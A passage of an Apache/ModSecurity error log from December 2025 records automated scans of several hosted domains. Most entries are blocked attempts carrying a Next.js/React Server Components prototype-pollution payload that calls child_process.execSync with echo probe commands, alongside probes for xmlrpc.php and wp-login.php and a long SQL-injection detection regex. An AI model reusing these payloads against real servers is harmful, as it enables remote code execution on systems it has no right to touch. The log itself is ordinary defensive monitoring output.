{\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aULdXh-ZhhQE392Hz3Of1wAAAMM"] [Wed Dec 17 12:50:37.558630 2025] [:error] [pid 26922:tid 26947] [client 35.188.229.251:53120] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 12:50:38.168368 2025] [:error] [pid 26420:tid 26470] [client 35.188.229.251:53146] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 12:57:52.587071 2025] [:error] [pid 26420:tid 26461] [client 34.125.29.158:34622] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 12:57:53.064040 2025] [:error] [pid 26420:tid 26456] [client 34.125.29.158:34644] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 12:59:22.714255 2025] [:error] [pid 26922:tid 26936] [client 34.118.194.1:36822] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 12:59:23.181836 2025] [:error] [pid 26922:tid 26928] [client 34.118.194.1:36844] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 14:03:53.223442 2025] [:error] [pid 26922:tid 26946] [client 45.88.89.56:42892] [client 45.88.89.56] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "64"] [id "960010"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "application/octet-stream"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "ayqiq.com"] [uri "/"] [unique_id "aUL-mR-ZhhQE392Hz3NN1QAAANY"] [Wed Dec 17 15:15:45.227828 2025] [:error] [pid 26922:tid 26926] [client 18.234.126.7:59926] [client 18.234.126.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "qexplorer.ayqiq.com"] [uri "/"] [unique_id "aUMPcR-ZhhQE392Hz3Ok3gAAAMI"] [Wed Dec 17 15:19:06.926918 2025] [:error] [pid 26922:tid 26924] [client 35.237.89.117:36554] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 15:19:07.121025 2025] [:error] [pid 26922:tid 26930] [client 35.237.89.117:36570] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 15:28:12.753410 2025] [:error] [pid 26420:tid 26473] [client 35.225.150.45:49528] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 15:28:12.988148 2025] [:error] [pid 26418:tid 26496] [client 35.225.150.45:49546] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 15:43:03.778161 2025] [:error] [pid 26922:tid 26944] [client 63.179.94.82:42056] [client 63.179.94.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "cpanel.pcenterdata.com"] [uri "/"] [unique_id "aUMV1x-ZhhQE392Hz3PEUwAAANQ"] [Wed Dec 17 15:45:15.551441 2025] [:error] [pid 26419:tid 26434] [client 35.94.56.53:45228] [client 35.94.56.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.pcenterdata.com"] [uri "/"] [unique_id "aUMWW9OX4f5e9cApHV5QJAAAAEc"] [Wed Dec 17 15:49:47.644119 2025] [:error] [pid 26922:tid 26935] [client 18.183.16.245:52142] [client 18.183.16.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "mail.pcenterdata.com"] [uri "/"] [unique_id "aUMXax-ZhhQE392Hz3PMXgAAAMs"] [Wed Dec 17 15:53:02.779067 2025] [:error] [pid 26922:tid 26926] [client 54.247.216.242:56806] [client 54.247.216.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "qexplorer.ayqiq.com"] [uri "/"] [unique_id "aUMYLh-ZhhQE392Hz3PQSwAAAMI"] [Wed Dec 17 15:55:50.157209 2025] [:error] [pid 26419:tid 26427] [client 44.243.32.133:60824] [client 44.243.32.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.nrhidroplastic.com"] [uri "/"] [unique_id "aUMY1tOX4f5e9cApHV5UKwAAAEA"] [Wed Dec 17 16:02:06.920119 2025] [:error] [pid 26418:tid 26484] [client 54.180.96.150:41646] [client 54.180.96.150] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "webmail.pcenterdata.com"] [uri "/"] [unique_id "aUMaThQC3tFnrG06s5oVSAAAAAU"] [Wed Dec 17 17:45:28.427812 2025] [:error] [pid 26922:tid 26948] [client 85.90.246.159:46092] [client 85.90.246.159] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "64"] [id "960010"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "image/jpeg"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "198.199.72.26"] [uri "/vpnsvc/connect.cgi"] [unique_id "aUMyiB-ZhhQE392Hz3NYWwAAANg"] [Wed Dec 17 18:02:36.461572 2025] [:error] [pid 26922:tid 26939] [client 35.91.233.7:42750] [client 35.91.233.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.investigacionperu.com"] [uri "/"] [unique_id "aUM2jB-ZhhQE392Hz3NtSAAAAM8"] [Wed Dec 17 18:10:32.294140 2025] [:error] [pid 26922:tid 26928] [client 170.64.226.138:53378] File does not exist: /usr/local/apache/htdocs/upl.php [Wed Dec 17 18:10:34.115927 2025] [:error] [pid 26922:tid 26934] [client 170.64.226.138:53434] File does not exist: /usr/local/apache/htdocs/1.php [Wed Dec 17 18:10:35.007404 2025] [:error] [pid 26418:tid 26485] [client 170.64.226.138:53458] File does not exist: /usr/local/apache/htdocs/password.php [Wed Dec 17 18:12:04.094095 2025] [:error] [pid 26420:tid 26463] [client 63.179.41.60:55616] [client 63.179.41.60] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "cpanel.pcenterdata.com"] [uri "/"] [unique_id "aUM4xDjqDqoGYB5uu9_XegAAAIo"] [Wed Dec 17 18:19:06.386465 2025] [:error] [pid 26922:tid 26924] [client 35.167.31.1:37650] [client 35.167.31.1] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.pcenterdata.com"] [uri "/"] [unique_id "aUM6ah-ZhhQE392Hz3OAgwAAAMA"] [Wed Dec 17 18:25:51.579350 2025] [:error] [pid 26922:tid 26943] [client 54.178.17.143:47360] [client 54.178.17.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "mail.pcenterdata.com"] [uri "/"] [unique_id "aUM7_x-ZhhQE392Hz3OJCgAAANM"] [Wed Dec 17 18:30:49.970248 2025] [:error] [pid 26922:tid 26925] [client 52.79.251.223:54848] [client 52.79.251.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "webmail.pcenterdata.com"] [uri "/"] [unique_id "aUM9KR-ZhhQE392Hz3OPRgAAAME"] [Wed Dec 17 18:46:23.070972 2025] [:error] [pid 26419:tid 26433] [client 205.185.121.77:47314] File does not exist: /usr/local/apache/htdocs/wp-login.php [Wed Dec 17 18:46:23.623045 2025] [:error] [pid 26922:tid 26934] [client 205.185.121.77:47334] File does not exist: /usr/local/apache/htdocs/wp-login.php [Wed Dec 17 19:54:03.724826 2025] [:error] [pid 26418:tid 26489] [client 49.248.192.204:55968] [client 49.248.192.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "198.199.72.26"] [uri "/"] [unique_id "aUNQqxQC3tFnrG06s5paTQAAAAo"] [Wed Dec 17 20:18:04.954101 2025] [:error] [pid 26419:tid 26438] [client 52.27.203.46:33496] [client 52.27.203.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.pcenterdata.com"] [uri "/"] [unique_id "aUNWTNOX4f5e9cApHV620AAAAEs"] [Wed Dec 17 20:18:33.202169 2025] [:error] [pid 26922:tid 26928] [client 63.176.96.230:34236] [client 63.176.96.230] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "cpanel.pcenterdata.com"] [uri "/"] [unique_id "aUNWaR-ZhhQE392Hz3MNQgAAAMQ"] [Wed Dec 17 20:30:31.194167 2025] [:error] [pid 26922:tid 26945] [client 54.178.112.149:51066] [client 54.178.112.149] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "mail.pcenterdata.com"] [uri "/"] [unique_id "aUNZNx-ZhhQE392Hz3Mb_AAAANU"] [Wed Dec 17 20:32:12.435817 2025] [:error] [pid 26419:tid 26450] [client 3.34.177.220:53510] [client 3.34.177.220] ModSecurity: Access denied with code 403 (phase 2). Pattern match 